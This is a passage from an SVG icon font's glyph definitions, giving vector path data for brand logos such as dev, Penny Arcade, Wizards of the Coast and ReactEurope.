-5.89941 +l8.40039 8.59961v32.2998l-11.4004 14.6006h11.2998v29.5l-8.2998 8.59961h56.0996c12.9004 0 37 -4.40039 37 -25c0 -1.90039 1 -15.2998 -16.1992 -19.9004zM38.5996 169.6v-20.8994c10.6006 0 29.6006 -3.2998 29.6006 8.7998v3 +c0 9.90039 -9.60059 9.09961 -29.6006 9.09961zM38.5996 110.4c20.4004 0 32.9004 -1.90039 32.9004 9.2998h-0.200195v4.5c0 11.0996 -20.5 8.7998 -32.7002 8.7998v-22.5996zM139.8 129.7v-15.4004l60.1006 0.200195l-14.1006 -21.2002h-81.2002l7.40039 8.2002v77.0996 +l-7.40039 8.2002l73.5 0.200195v-0.200195l14.1006 -21h-52.4004v-14.8994h37.2002l-14.0996 -21.2002v-0.200195zM354.5 189.8c73.7998 0 77.5996 -99.2998 -0.299805 -99.2998c-77.2002 0 -73.6006 99.2998 0.299805 99.2998zM354.2 112.3 +c39 0 37 55.2002 0.200195 55.2998c-37.1006 0 -37.6006 -55.2998 -0.200195 -55.2998zM262.9 120.6l0.199219 -19l7.2002 -8.19922h-42.5996l7.7002 8.19922l-0.200195 19.4004l-44.1006 65.7998h44.9004l-6.40039 -7.2002l21 -37.1992h0.300781l20.5 37.1992 +l-6.10059 7.2002h41.7002zM234.5 271.9c-9.09961 6.69922 -9.5 14.0996 -9.59961 14.8994c7.2998 -4.2998 9 -4 39.8994 -4c-5.7998 0 24 3.10059 32.2002 -22.8994c-0.400391 0 -8.40039 -4.80078 -10.4004 -7.90039c5.30078 1.90039 8.90039 1.09961 9 1.09961 +c-8 -5.09961 -9.59961 -14.7998 -9.59961 -20.5c0.900391 2.10059 2.7002 3.7002 2.7002 3.5c-0.600586 -2.5 -1.40039 -7 -0.799805 -12c-8.60059 -7.09961 -16 -8.59961 -26 -8.59961h-35.1006c0.400391 0.0996094 7.7998 4.5 7.90039 4.59961 +c1.89941 1.10059 2.7002 2.2002 2.7002 6.40039v38.7998c0 4.2002 -1.30078 5.2998 -2.90039 6.60059zM256 266.4v-34.6006c4.7002 0 23.0996 -3.39941 23.0996 17.2998c0 20.6006 -18.5 17.3008 -23.0996 17.3008zM484.9 186.8l39.1992 -0.0996094l-7.39941 -8.2998 +v-85.2002h-21.2998c-4 12.7002 -44.8008 45 -48.5 55.5996h-0.300781v-47.3994l7.40039 -8.2002h-39l7.2002 8.2998v76.9004l-7.40039 8.5h31.6006c2.89941 -9.40039 39.7998 -36.5 45.1992 -50.9004h0.300781v42.5zM378.2 282.9 +c32.7002 -1.60059 33.7998 -29.8008 33.7998 -33.6006c0 -6.7002 -3.2998 -34 -36.7002 -34h-0.299805c3.59961 4.2998 3.5 11.9004 -2.2002 16.2998c1.2002 0 19.7002 -3.19922 19.7002 17.3008c0 20.6992 -18.4004 17.2998 -23.0996 17.2998v-4.2998 +c-5.40039 0.799805 -7.40039 -0.300781 -7.5 -0.300781c2.09961 1.80078 4.5 2.60059 6.09961 2.90039c-7.09961 1.59961 -13.5996 -2.40039 -14.5996 -3.5c0.799805 1.7998 2.39941 3.40039 3.5 4.5c-2.30078 -0.799805 -4.30078 -1.90039 -6.10059 -3 +c0 5.2002 0.200195 7.5 -2.89941 9.5c-9.10059 6.59961 -9.5 14.2002 -9.60059 14.9004c7.10059 -4.2002 7.7002 -4 39.9004 -4z" /> + <glyph glyph-name="dev" unicode="" +d="M120.12 239.71c3.87012 -2.90039 5.82031 -7.25977 5.83008 -13.0596v-69.6504c0 -5.80957 -1.94043 -10.1602 -5.82031 -13.0596c-3.87988 -2.90039 -7.76953 -4.35059 -11.6494 -4.35059h-17.4502v104.47h17.4395c3.87988 0 7.77051 -1.44922 11.6504 -4.34961z +M404.1 416c24.2002 0 43.8408 -19.5898 43.9004 -43.7998v-360.4c-0.0595703 -24.21 -19.6904 -43.7998 -43.9004 -43.7998h-360.199c-24.2002 0 -43.8408 19.5898 -43.9004 43.7998v360.4c0.0595703 24.21 19.7002 43.7998 43.9004 43.7998h360.199zM154.2 156.81 +l-0.00976562 70.9307c-0.0107422 18.8193 -11.9307 47.2793 -47.3701 47.2793h-47.3799v-165.46h46.3994c36.75 -0.0595703 48.3604 28.4404 48.3604 47.25zM254.88 245.47l0.00976562 29.5205h-63.1895c-11.1504 -0.280273 -19.9805 -9.54004 -19.71 -20.6904v-125.109 +c0.279297 -11.1602 9.55957 -19.9805 20.7197 -19.6904h62.1797v29.5703h-53.29v38.4102h32.5703v29.5693h-32.5703v38.4199h53.2803zM358.52 130.18l38.4609 144.801h-32.5801l-29.5703 -113.721l-29.71 113.721h-32.5703l38.5303 -144.801 +c10.5898 -24.6299 34.2402 -30.75 47.4395 0z" /> + <glyph glyph-name="fantasy-flight-games" unicode="" horiz-adv-x="512" +d="M256 415.14l223.14 -223.14l-223.14 -223.14l-223.14 223.14zM88.3398 192.17c13.8027 -13.6836 27.3086 -27.0547 41.1299 -40.7197c20.1602 19.8799 40.46 39.8994 61.8506 60.9902c12.0596 -12.5801 24.5195 -25.5703 36.54 -38.1104 +c12.0293 11.6895 23.7393 23.0596 35.6895 34.6602c-6.99023 7.4502 -32.1494 32.8301 -35.0898 35.7793c-1.91016 1.9209 -2.29004 3.2207 -0.120117 5.35059c15.5801 15.2295 39.21 17.79 56.9805 5.09961c7.98926 -5.70996 14.2998 -11.6396 48.5098 -43.9502 +c10.8203 11.1504 22.2295 22.8506 33.5 34.6904c0.490234 0.520508 0.0996094 2.63965 -0.580078 3.37988c-0.0898438 0.100586 -37.5195 40.6006 -62.1504 59c-33.5801 25.0801 -78.3193 23.0605 -119.77 -18.6895c-84.5703 -85.1807 -94.5303 -95.4805 -96.4902 -97.4805z +M323.16 90.5703c18.8203 18.79 80.3301 80.6396 100.5 101.5c-13.7305 13.4492 -27.1797 26.6299 -40.8604 40.0293c-20.0098 -19.7393 -40.2402 -39.6895 -61.25 -60.4199c-12.3301 12.8301 -24.8799 25.8799 -37.25 38.75 +c-1.25977 -0.689453 -1.64941 -0.80957 -1.91016 -1.06934c-10.7295 -10.7705 -21.4199 -21.5801 -32.21 -32.29c-2.22949 -2.20996 -0.519531 -3.35059 0.800781 -4.69043c10.5791 -10.7402 21.1797 -21.4502 31.7695 -32.1797 +c3.5498 -3.60059 3.54004 -3.85059 -0.139648 -7.24023c-16.8008 -15.4697 -40.8408 -16.54 -59.3203 -1.7998c-7.62012 6.08008 -11.6602 10.1797 -44.6797 42.0898c-11.5801 -11.8896 -23.3203 -23.9404 -35.3701 -36.3096 +c33.5498 -34.7607 50.8496 -53.3408 72.9297 -66.8408c28.9004 -17.6699 71.5 -14.96 106.99 20.4707zM256 448l256 -256l-256 -256l-256 256zM16 192l240 -240l240 240l-240 240z" /> + <glyph glyph-name="penny-arcade" unicode="" horiz-adv-x="640" +d="M421.91 283.73c7.33984 -16.2705 2.29004 -5.07031 24.6299 -54.6807l-39.7305 -10.6094c13.7002 59.2295 10.6104 45.8398 15.1006 65.29zM215.82 232.62c32.5 8.99023 41.9492 -37.6396 -0.350586 -47.4297c-14.2002 -3.77051 -6.64941 -1.75 -34.8193 -9.34082 +l-4.45996 46.1904c28.3193 7.5498 19.4395 5.17969 39.6299 10.5801zM541.98 258.81c75.7998 -37.9092 98 -76.3193 97.9893 -104.47c2.10059 -78.8496 -183.3 -130.33 -399.89 -84.8301c0.540039 -13 -8.00977 -24.6494 -20.5801 -28.0195 +c-125.54 -33.54 -117.35 -31.75 -122.53 -31.7598c-14.3701 -0.0107422 -26.4102 10.8896 -27.7998 25.1992l-4.2998 44.4805c-0.0830078 0.875 -0.138672 1.72461 -0.138672 2.62109c0 11.877 7.43945 22.0293 17.9082 26.0488l-1.73926 17.8799 +c-50.2305 28.2598 -80.9004 61.8701 -80.9004 95.3701c0 72.9199 144.26 113.4 309.41 98.3701c3.02734 8.49316 10.0977 15.0625 18.8896 17.4102c96.8701 25.9092 65.3203 17.4795 135.59 36.2295c13.1602 3.50977 26.9307 -2.95996 32.6201 -15.3301zM255.14 149.7 +c20.7529 4.80176 38.666 16.9805 50.75 33.7197c21.6006 32.5898 14.1104 105.561 -42.5498 104.43c-16.04 -0.229492 -8.07031 0.890625 -186.22 -46.6494l4.34961 -44.5l20.1201 5.38965l11.1104 -114.64l-20.0205 -5.35059l4.30078 -44.5195l115.31 30.7803 +l-4.50977 44.5098l-20.5303 -5.50977l-2.45996 23.5498l48.4404 12.9102zM454.32 133.08l108.55 28.96l-4.2998 44.4795l-20.79 -5.55957l-66.6699 145.47c-70.5801 -18.8301 -42.2305 -11.25 -135.591 -36.2393l4.2002 -44.4805l17.1504 4.55957l-33.0801 -126.47 +l-20.9902 -5.58984l4.45996 -44.4297l112.851 30.0693l-4.05078 39.54l-19.1992 -5.12012l4.09961 17.54l57.7598 15.4209l6.61035 -14.6807l-14.9004 -3.97949z" /> + <glyph glyph-name="wizards-of-the-coast" unicode="" horiz-adv-x="640" +d="M219.19 102.31c7.44922 5.80078 16.2598 0.680664 21.7295 -7.0791c7.08984 -10.1201 6.24023 -18.1602 -0.259766 -23.04c-7.62012 -6.24023 -17.0898 0.129883 -21.7305 6.5498c-10.8096 15.1299 -1.63965 22.1895 0.260742 23.5693zM555.94 26.3701 +c1.30957 4.4502 3.92969 10.21 3.93945 20.1699c0 34.04 -41.6299 64.4102 -100.03 68.0801c-53.1592 3.39941 -120.46 -15.4502 -184.35 -73.8506l-0.790039 0.260742c1.58008 10.4697 -0.780273 16.2295 -3.40039 21.21l0.260742 1.56934 +c64.4199 51.3203 134.069 66.5107 188.8 60.4902c61.0098 -6.54004 104.479 -39.54 101.34 -78.0303c-0.790039 -9.68945 -2.88965 -15.71 -4.97949 -19.8994c-1.34082 -1.66992 -1.13086 -1.7002 -0.790039 0zM392.28 207.58 +c-0.530273 7.07031 3.13965 11.7803 6.7998 15.46c3.66992 3.91992 14.9297 10.4697 14.9297 10.4697s-1.2998 -26.4502 -2.08984 -29.8496c-1.04004 -3.92969 -4.96973 -6.81055 -10.4697 -6.5498c-4.98047 0.259766 -8.37988 3.39941 -9.16992 10.4697zM342.26 358.68 +c147.17 0 275.48 -86.6797 291.21 -196.939c0 0 -3.66992 -1.31055 -9.68945 -4.4502c0 -0.259766 1.0498 -10.7402 0.259766 -16.5c-0.259766 -1.83008 -1.0498 -1.0498 -1.0498 0c-0.270508 5.24023 -1.57031 11.5303 -2.36035 14.9297 +c-4.70996 -2.60938 -10.21 -6.54004 -15.9697 -11.7793c0 0 4.70996 -10.21 4.70996 -25.9209c0 -21.21 -8.37988 -32.9893 -16.5 -37.9697l-0.259766 0.520508c9.16992 9.16992 12.5693 21.4795 12.5693 31.9492c0 13.8701 -6.80957 33.25 -14.3994 41.3701 +c0 0 4.4502 -8.12012 6.80957 -17.8096c0 0 -21.21 -21.4697 -26.9697 -62.3203c0 0 -3.66992 9.16992 -10.7402 16.2402c0 0 12.0498 -15.4502 12.0498 -38.2305c0 -19.3799 -12.8398 -37.4395 -27.5 -48.1797c-0.989258 0 -0.790039 -0.169922 -0.790039 0.790039 +c15.71 12.8301 22.2607 28.0205 22.2607 46.3506c0 38.2295 -49.2305 80.3896 -130.15 80.3896c-96.1104 0 -181.74 -58.1299 -236.99 -128.05l-1.0498 0.259766c-40.3203 120.979 -135.64 185.66 -196.13 202.16c-2.09961 0.519531 -1.83984 0.790039 -0.790039 1.30957 +c12.3096 14.4004 136.96 151.88 341.47 151.88zM243.02 69.0596c16.8408 14.5908 4.99023 30.7705 4.71094 31.1602c-4.08008 5.99023 -16.3105 16.8506 -31.1602 5.5c-10.9502 -8.37988 -11.6406 -22.8896 -4.19043 -32.4697 +c6.44043 -8.26953 19.5801 -13.1797 30.6396 -4.19043zM245.11 205.49l1.83008 -8.11035l-3.6709 4.4502l-14.1396 -26.71l24.6201 -28.7998l12.5703 6.01953l-11.7803 70.96zM263.7 87.9102c3.41016 2.35938 7.33984 4.97949 9.67969 6.57031l-0.259766 0.259766 +c-1.56055 -0.780273 -3.11035 -1.0498 -12.5703 15.9697v0.259766c6.87012 5.16016 8.45996 4.89062 11.5205 5.5l0.259766 0.260742c-1.31055 3.66992 -1.31055 3.66992 -1.83008 5.5h-0.259766c-3.95996 -3.31055 -1.4707 -1.58008 -11.5205 -7.86035h-0.259766 +c-1.83008 3.13965 -4.19043 7.33008 -5.75977 9.68945v1.31055c4.4502 3.91992 10.2197 6.7998 12.3096 7.58984c2.87988 1.0498 4.19043 0.520508 5.24023 0.259766l0.259766 0.520508c-1.30957 1.83008 -2.08984 2.87988 -3.39941 4.70996l-0.520508 0.259766 +c-9.9502 -5.5 -17.54 -9.9502 -25.3994 -15.71l0.259766 -0.519531c1.30957 0.259766 3.13965 -0.260742 4.4502 -2.62012c15.04 -25.0801 19.5898 -27.5908 17.54 -31.6904zM318.96 120.38v0.25c-1.99023 0 -2.34961 -1.37012 -14.6602 30.6396v0.260742 +c4.95996 1.85938 8.78027 4.37988 12.3105 2.62012l0.259766 0.519531l-3.13965 4.98047l-0.520508 0.259766c-2.22949 -0.929688 -20.4697 -8.00977 -27.7598 -12.5703l-0.259766 -0.519531l1.0498 -5.76074h0.519531c1.0498 3.68066 9.7998 7.33008 9.9502 7.33008 +l0.259766 -0.259766c12.9404 -29.7598 13.0703 -29.8799 11.7803 -32.4697l0.259766 -0.259766c3.93066 2.09961 6.81055 3.40918 9.9502 4.97949zM363.73 136.88c-0.780273 0.520508 -2.09082 1.31055 -2.63086 3.92969c-1.56934 6.02051 -4.70996 20.1709 -6.2793 26.4502 +c-0.530273 1.57031 -0.530273 3.14062 0.519531 4.4502l-0.259766 0.259766c-3.41016 -0.529297 -6.29004 -1.30957 -10.7402 -2.35938v-0.260742c1.57031 -0.529297 2.10059 -2.09961 2.62012 -3.92969l2.62012 -9.42969l-0.259766 -0.259766 +c-3.40039 -1.05078 -8.90039 -2.62012 -12.8301 -3.93066h-0.259766c-0.780273 2.10059 -1.83008 5.75977 -3.14062 9.69043l0.259766 4.70996l-0.259766 0.259766c-4.71973 -1.30957 -7.59961 -2.34961 -10.7402 -3.40039v-0.519531 +c1.05078 0 2.10059 -1.30957 2.62012 -3.13965c1.0498 -3.40039 8.12012 -24.0908 9.16992 -27.2305c0.790039 -2.09961 0.790039 -3.66992 -0.259766 -4.97949l0.259766 -0.260742c3.14062 1.31055 6.54004 2.87988 10.21 3.93066v0.519531 +c-1.0498 0.259766 -2.08984 0.780273 -2.87988 3.13965c-1.0498 3.93066 -3.39941 11.2607 -4.18945 13.8809l0.259766 0.259766c3.92969 1.30957 9.42969 3.13965 12.8301 3.92969l0.259766 -0.259766c0.530273 -2.09961 2.62012 -10.2197 3.66992 -13.6201 +l-0.519531 -4.4502l0.259766 -0.259766c4.4502 1.57031 5.5 1.83008 9.69043 2.87988zM395.94 143.69c0.529297 1.8291 1.0498 3.65918 1.5791 6.04004h-0.259766c-2.0293 -4.06055 -15.0898 -5.09082 -16.2402 -4.71094l-0.259766 0.260742 +c-0.519531 3.13965 -1.83008 10.4795 -2.08984 12.5693l0.259766 0.260742c8.06055 0.899414 5.40039 1.0293 10.21 0h0.260742c0 3.40918 0.259766 3.66992 0.259766 5.23926h-0.259766c-5.98047 -2.2998 -1.2207 -0.679688 -10.7402 -2.35938l-0.259766 0.259766 +c-0.520508 3.40039 -1.31055 8.37988 -1.57031 9.9502l0.259766 0.259766c12.9004 2.41016 15.1006 0.349609 16.2402 -0.790039l0.259766 0.259766c-0.780273 2.36035 -1.0498 3.14062 -1.57031 5.5l-0.259766 0.260742 +c-4.71973 -0.260742 -15.71 -1.05078 -24.8799 -2.62012l-0.790039 -0.520508c1.83008 -0.790039 2.36035 -1.83984 2.62012 -3.66992c1.58008 -7.59961 3.41016 -18.3301 4.98047 -26.1895l-0.790039 -4.19043l0.259766 -0.259766 +c8.37988 1.83008 17.8096 3.66992 22.5195 4.18945zM406.68 188.2c3.14062 1.56934 7.33008 5.5 7.33008 5.50977c1.95996 -4.58008 0.970703 -2.70996 4.19043 -7.86035c10.1494 -0.459961 8.60938 0.0205078 20.4297 -1.0498l0.790039 4.70996 +s-4.18945 0 -5.75977 1.83008c-1.0498 1.31055 -1.31055 3.14062 -1.57031 5.5c0 2.36035 0.270508 16.5 0.790039 20.6904c0.259766 4.18945 2.08984 20.4199 2.08984 23.04c0.260742 2.62012 1.0498 8.91016 0.260742 12.0498 +c-4.82031 19.2803 -24.4307 17.8096 -50.0205 16.2402l-5.24023 -16.2402l2.62012 -2.87988c16.5498 16.5498 37.6201 4.56934 29.5898 -5.75977c-5.18945 -6.9209 -19.7393 -8.90039 -28.54 -17.0205c-6.47949 -6.49023 -12.2393 -20.9004 -5.5 -31.6904 +c6.12988 -11.0391 17.29 -9.96973 17.54 -9.94922c2.87988 0 6.55078 0.519531 11 2.87988zM443.86 166.99c0 1.83984 0.269531 4.18945 0.269531 5.25l-0.259766 0.519531c-14.3604 8.98047 -26.8604 0.919922 -28.7998 -9.9502 +c-2.83984 -16.0898 15.3594 -25.46 25.6602 -18.5898l0.519531 0.520508c0 0.259766 1.30957 4.4502 1.83008 6.2793l-0.259766 0.260742c-6.39062 -9.58008 -23.3203 -6.87012 -20.6904 10.21c1.91016 12.6602 15.3799 16.0801 21.7305 5.5zM449.63 254.72 +c0 0 4.96973 -0.790039 4.99023 -3.66016c0 -2.08984 -4.98047 -55.25 -4.98047 -55.25c-0.109375 -1.48926 -0.339844 -6.80957 -7.58984 -6.80957l-0.790039 -4.70996c18.3906 -2.83008 19.3701 -3.04004 36.9199 -7.33008l0.520508 4.70996 +c-13.0498 3.91992 -9.74023 7.37012 -4.4502 46.0898c1.09961 0.870117 8.62012 7.14062 20.6904 0.790039l11.2598 11.2598s-9.69043 8.90039 -14.9307 7.33008c-5.23926 -1.30957 -15.4492 -10.7393 -15.4492 -10.7393l1.56934 17.54 +c-8.10938 4.0498 -27.0693 7.3291 -27.7598 7.3291v-6.5498zM460.62 140.28c9.42969 -2.35059 16.2402 2.62012 18.8496 11.5195c2.08984 7.60059 -1.56934 16.7598 -10.7393 19.3799c-6.54004 2.10059 -15.7109 -0.779297 -18.8506 -10.21 +c-3.39941 -9.68945 2.62012 -18.5996 10.7402 -20.6895zM502.78 130.59c-0.780273 1.31055 -1.04004 2.10059 -0.799805 3.91016c1.22949 27.0098 1.5293 24.6602 1.0498 25.1396c-2.08984 0.790039 -5.5 2.09082 -7.58984 2.87988l-0.520508 -0.259766v-2.08984 +c-3.92969 -6.01953 -10.4795 -15.4502 -13.8799 -20.1602l-2.62012 -1.83008v-0.259766c2.08984 -0.259766 4.70996 -1.30957 6.02051 -1.57031v0.260742l0.790039 3.39941c0.789062 1.0498 2.35938 3.66992 3.66992 5.5c0.40918 0 2.25 -0.549805 7.06934 -2.35938 +c0.330078 -0.320312 0.330078 0.649414 -0.259766 -7.59082l-1.57031 -1.8291v-0.260742c1.57031 -0.519531 6.28027 -2.35938 8.64062 -2.87988zM498.07 220.41c-13.2207 -21.1504 -9.39062 -51.6006 9.66992 -52.9004c5.75977 -0.259766 9.42969 3.93066 9.68945 3.66992 +l-2.08984 -6.80957c8.91016 -4.21973 11.4404 -5.29004 17.8105 -8.63965l1.83008 4.44922c-6.14062 3.51074 -1.29004 11.25 24.6191 84.3203c-6.13965 6.45996 -10.2998 10.0596 -22.5195 20.4297l-1.83008 -3.66992c1.62988 -1.35938 6.79004 -5.00977 4.4502 -11.2598 +l-7.58984 -26.1904c-3.28027 12.79 -22.79 14.8701 -34.04 -3.39941zM527.4 141.07l2.35938 3.39941v0.520508c-3.41016 6.83008 -11.9395 7.41992 -14.6602 2.35938c-1.83984 -3.40918 0.260742 -7.06934 1.83008 -9.68945 +c1.57031 -2.87988 3.14062 -6.29004 2.08984 -8.37988c-2.31934 -4.62988 -8.94922 -0.680664 -8.37988 4.97949l-0.790039 -0.259766c-2.09961 -4.7998 -1.83008 -4.00977 -1.83008 -4.70996c3.05078 -6.09961 12.8105 -7.12988 15.4502 -0.790039 +c1.57031 3.15039 0.520508 6.80957 -1.0498 9.42969c-1.83008 3.40039 -4.18945 6.29004 -2.87988 8.37988c1.51953 2.65039 7.86035 0.470703 7.86035 -5.23926zM548.61 127.71l1.30957 3.91016l-0.259766 0.259766c-2.36035 2.08984 -8.64062 6.54004 -12.3105 8.90039 +h-0.259766l-3.13965 -3.40039v-0.259766c4.7998 -0.320312 3.37988 0.149414 6.01953 -1.83008v-0.259766c-2.62012 -4.9707 -6.0293 -11.2607 -9.16992 -17.0205l-2.08984 -1.30957l-0.259766 -0.259766l5.75977 -4.4502l0.259766 0.259766 +c-0.259766 0.530273 -0.519531 1.57031 0.790039 3.92969c2.87988 5.77051 6.28027 12.0508 8.64062 16.2402h0.259766c3.54004 -2.57031 2.49023 -1.43945 4.4502 -4.70996zM575.84 171.97l7.85059 10.46s-9.4209 18.8604 -23.04 16.5 +c-20.8408 -4.0293 -3.15039 -34.21 -2.09082 -38.2295c4.33008 -15.1299 -16.3193 -12.5605 -13.3496 5.24023l-2.87988 2.08984l-4.98047 -14.4004s11.7803 -11.2598 20.1602 -10.4697c8.12012 0.790039 13.8799 6.29004 13.8799 16.5 +c0 8.37988 -7.85938 22.7803 -7.85938 27.7598c0 6.86035 12.2695 4.75977 11.5195 -4.97949c-0.259766 -2.61035 -1.2998 -5.23047 -2.08984 -7.59082zM611.46 182.18c0.780273 -2.35938 1.57031 -1.83008 0.790039 0.270508 +c-32.4697 98.9795 -132.76 138.78 -199.8 139.83c-50.54 0.779297 -89.5605 -11.79 -131.98 -35.8799l20.6904 61.0098l-33.7803 -65.7305l-8.89941 20.9502c3.13965 1.04004 6.2793 2.08984 6.2793 2.08984l-2.62012 8.64062s-3.13965 -0.780273 -7.33008 -2.09082 +l-12.0498 28.2803l13.6201 -61.0098c-5.12012 2.55957 -19.0996 6.83008 -6.5498 19.3799l-2.62012 11c-6.97949 -2.21973 -13.2295 -3.62012 -32.21 -9.68945l-23.0801 11.5l59.1797 -42.6807l-4.70996 -2.08984l-17.2793 13.8799 +c2.23926 -5.13965 3.2998 -12.1699 4.70996 -19.6396l-28.54 -13.0898l-30.1104 36.1396l-17.2803 -9.16992l13.6201 -42.4199l-11.2598 -4.98047l94.2695 29.3301l-3.66992 -10.4697l-0.519531 3.13965l-13.0898 -3.39941l4.97949 -24.6201l-4.4502 -12.3105 +l-25.6592 30.6406l-39.8008 -10.21l18.8506 -58.9199c-60.1299 62.3994 -67.7002 66.3994 -61.7998 75.6797c2.09961 2.87988 7.85938 7.07031 7.85938 7.07031l-4.18945 7.06934c-26.7803 -18.3496 -27.8398 -19.1494 -58.4004 -42.6797l4.98047 -6.01953 +s8.12012 5.75977 13.6201 5.5c7.81934 -0.350586 1.76953 2.93945 113.659 -98.7305l11.7803 8.37988l-27.7598 93.4805l35.8799 -42.1602l-4.70996 -13.8799l41.9004 88.5098c34.6699 -80.5098 29.1494 -66.9502 32.9893 -78.8203l-33.5195 67.2998l-2.36035 -4.44922 +c1.2998 -1.30078 -0.919922 3.05957 22.7803 -59.4404c3.22949 -8.88965 -1.10059 -9.88965 -5.5 -12.8301l2.36035 -4.70996c15.3594 6.79004 22.9395 9.54004 39.0195 14.4004l-1.0498 4.97949c-8.89062 -1.33008 -10.1006 0.169922 -12.0498 4.4502 +c-1.05078 2.09961 -14.1504 40.0703 -20.4307 58.6602l-10.21 4.97949l-2.35938 8.12012l61.54 -36.6602l-13.0908 -43.21c12.1904 3.26074 27.0303 6.74023 49.4902 9.9502l-0.259766 26.71l-4.98047 -1.0498c-0.669922 -13.7998 -6.0293 -22.0801 -19.6396 -22.7803 +l22.2598 80.3906c-27.6201 -0.450195 -59.2695 -7.19043 -66.7695 -8.90039l3.92969 -16.5l-25.1396 19.6396l91.3896 20.6904l-85.6299 -9.16992c38.4902 22.5195 79.3398 39.0195 132.76 37.9697c131.46 -2.08984 180.95 -99.2402 191.95 -129.62zM203.48 295.57 +l2.35938 -8.64062c7.82031 2.61035 10.8604 2.36035 11.2598 2.36035l-9.42969 7.58984c-2.36035 -0.790039 -4.18945 -1.30957 -4.18945 -1.30957zM347.24 257.07l-11.5303 -37.71l-21.7295 17.0195c6.7998 25.5 31.6895 21.29 33.2598 20.6904zM318.43 380.93 +c224.94 0 321.83 -143.76 321.57 -227.55c0 -11 -0.269531 -17.5498 -0.790039 -19.6396c-0.259766 -2.10059 -1.0498 -0.790039 -1.0498 0.519531v9.9502c0 106.58 -121.51 223.37 -301.67 223.37c-61.2705 0 -103.69 -12.0498 -110.24 -13.8799l-1.57031 0.259766 +c-6.80957 7.58984 -12.8301 9.69043 -21.21 11.7803v0.790039c8.91016 2.34961 56.5605 14.3994 114.96 14.3994zM529.49 211.25c-8.61035 -34.4502 -13.6504 -35.3496 -18.3301 -35.3604c-7.33008 0 -6.81055 9.43066 -6.02051 14.9307 +c0.879883 9.72949 7.40039 34.6494 17.0205 33.5195c7.33008 -0.780273 8.63965 -7.33008 7.33008 -13.0898zM467.96 168.3c3.40039 -0.780273 7.84961 -4.4502 5.23047 -14.3896c-2.88086 -11.2598 -8.11035 -11.79 -11.7803 -10.7402 +c-5.5 1.31055 -7.85059 7.84961 -6.02051 14.6602c3.14062 11.2598 9.9502 11.2598 12.5703 10.4697zM491 147.35v0.270508c1.0498 1.83008 5.5 8.63965 6.5498 9.9502c-0.269531 -3.66992 -0.790039 -10.2207 -0.790039 -12.0508 +c-2.62012 0.780273 -3.92969 1.31055 -5.75977 1.83008z" /> + <glyph glyph-name="think-peaks" unicode="" horiz-adv-x="576" +d="M465.4 38.5996l-206.2 353.801l-204.2 -352.101l-32 0.299805l236.2 407.4l206.2 -353.9l55.0996 95l32 -0.299805zM110.1 82.7002l149.601 257.899l235.8 -404.6l-32.5 0.0996094l-203.4 349.101l-117.399 -202.5h-32.1006z" /> + <glyph glyph-name="reacteurope" unicode="" horiz-adv-x="576" +d="M250.6 236.26l2 6.7998l-5.69922 4.30078l7.19922 0.0996094l2.30078 6.7998l2.2998 -6.7998l7.09961 -0.0996094l-5.7002 -4.30078l2.10059 -6.7998l-5.7998 4.10059zM314.3 236.26l1.90039 6.7998l-5.7002 4.30078l7.2002 0.0996094l2.2998 6.7998l2.2998 -6.7998 +l7.2002 -0.0996094l-5.7002 -4.30078l2.10059 -6.7998l-5.80078 4.10059zM223 185.76c4.90039 0 3.7998 -3.89941 3.7998 -13.7598c0 -10.2998 -6.7002 -14.0996 -16.7998 -14.0996h-0.200195c-10.0996 0 -16.7998 3.69922 -16.7998 14.0996v40.0596 +c0 9.90039 6.7002 14.1006 16.7998 14.1006h0.200195c10.0996 0 16.7998 -4.2002 16.7998 -14.1006c0 -8.39941 0.900391 -12.1992 -3.7998 -12.2998h-3.40039c-4.5 0 -3.7998 3.2998 -3.7998 10.5c0 4.7002 -2.2998 6.10059 -5.7998 6.10059 +s-5.7998 -1.40039 -5.7998 -6.10059v-36.5996c0 -4.7002 2.2998 -6.10059 5.7998 -6.10059s5.7998 1.40039 5.7998 6.10059c0 8.09961 -1 12.0996 3.7998 12.0996h3.40039zM142.3 168.36c2.5 0 3.7998 -1.30078 3.7998 -3.80078v-2.09961 +c0 -2.5 -1.2998 -3.7998 -3.7998 -3.7998h-21.8994c-2.5 0 -3.80078 1.2998 -3.80078 3.7998v59.0996c0 2.5 1.30078 3.90039 3.7002 3.80078h21.7002c2.5 0 3.7998 -1.30078 3.7998 -3.80078v-2.09961c0 -2.5 -1.2998 -3.7998 -3.7998 -3.7998h-14.4004v-18.2998h11.4004 +c2.5 0 3.7998 -1.30078 3.7998 -3.80078v-2.09961c0 -2.5 -1.2998 -3.7998 -3.7998 -3.7998h-11.4004v-19.2998h14.7002zM100.3 186.86l8.10059 -23.9004c0.799805 -2.59961 -0.400391 -4.40039 -3.2002 -4.40039h-3.2998 +c-0.0996094 -0.00683594 -0.196289 -0.0078125 -0.297852 -0.0078125c-1.95703 0 -3.59473 1.37402 -4.00293 3.20801l-7.39941 23.5h-5.60059v-22.8994c0 -2.5 -1.2998 -3.80078 -3.7998 -3.80078h-3.39941c-2.5 0 -3.80078 1.30078 -3.80078 3.80078v59.0996 +c0 2.5 1.30078 3.7998 3.80078 3.7998h13.3994c10.1006 0 16.7998 -4 16.7998 -14.0996v-11.9004c0 -6.39941 -2.69922 -10.3994 -7.2998 -12.3994zM96.5 200.86v8.69922c0 4.80078 -2.5 6.10059 -6.09961 6.10059h-5.80078v-20.9004h5.80078 +c3.59961 0 6.09961 1.2998 6.09961 6.10059zM176 222l11.2002 -59.2002c0.5 -2.7002 -0.799805 -4.09961 -3.40039 -4.09961h-3.5c-0.12207 -0.0117188 -0.241211 -0.015625 -0.366211 -0.015625c-1.98926 0 -3.61719 1.55566 -3.7334 3.51562l-1.7998 11.2998h-12.2002 +l-1.7998 -11.2998c-0.117188 -1.95996 -1.74121 -3.51855 -3.73047 -3.51855c-0.125 0 -0.248047 0.00683594 -0.370117 0.0185547h-3c-2.5 0 -3.89941 1.39941 -3.39941 4.09961l11 59.2002c0.137695 1.90625 1.72559 3.41504 3.66602 3.41504 +c0.112305 0 0.223633 -0.00488281 0.333984 -0.0146484h6.89941c0.132812 0.0136719 0.264648 0.0166016 0.401367 0.0166016c1.97168 0 3.59766 -1.49805 3.79883 -3.41699zM163.7 182.7h9.39941l-4.69922 29.7002zM253 162.5c0 -2.45996 -1.2998 -3.83984 -3.7998 -3.7998 +h-3.40039c-2.5 0 -3.7998 1.2998 -3.7998 3.7998v53.2002h-7.2998c-2.5 0 -3.7998 1.2998 -3.7998 3.7998v2.09961c0 2.5 1.2998 3.80078 3.7998 3.80078h25.7998c2.5 0 3.7998 -1.30078 3.7998 -3.80078v-2.09961c0 -2.5 -1.2998 -3.7998 -3.7998 -3.7998h-7.5v-53.2002z +M501 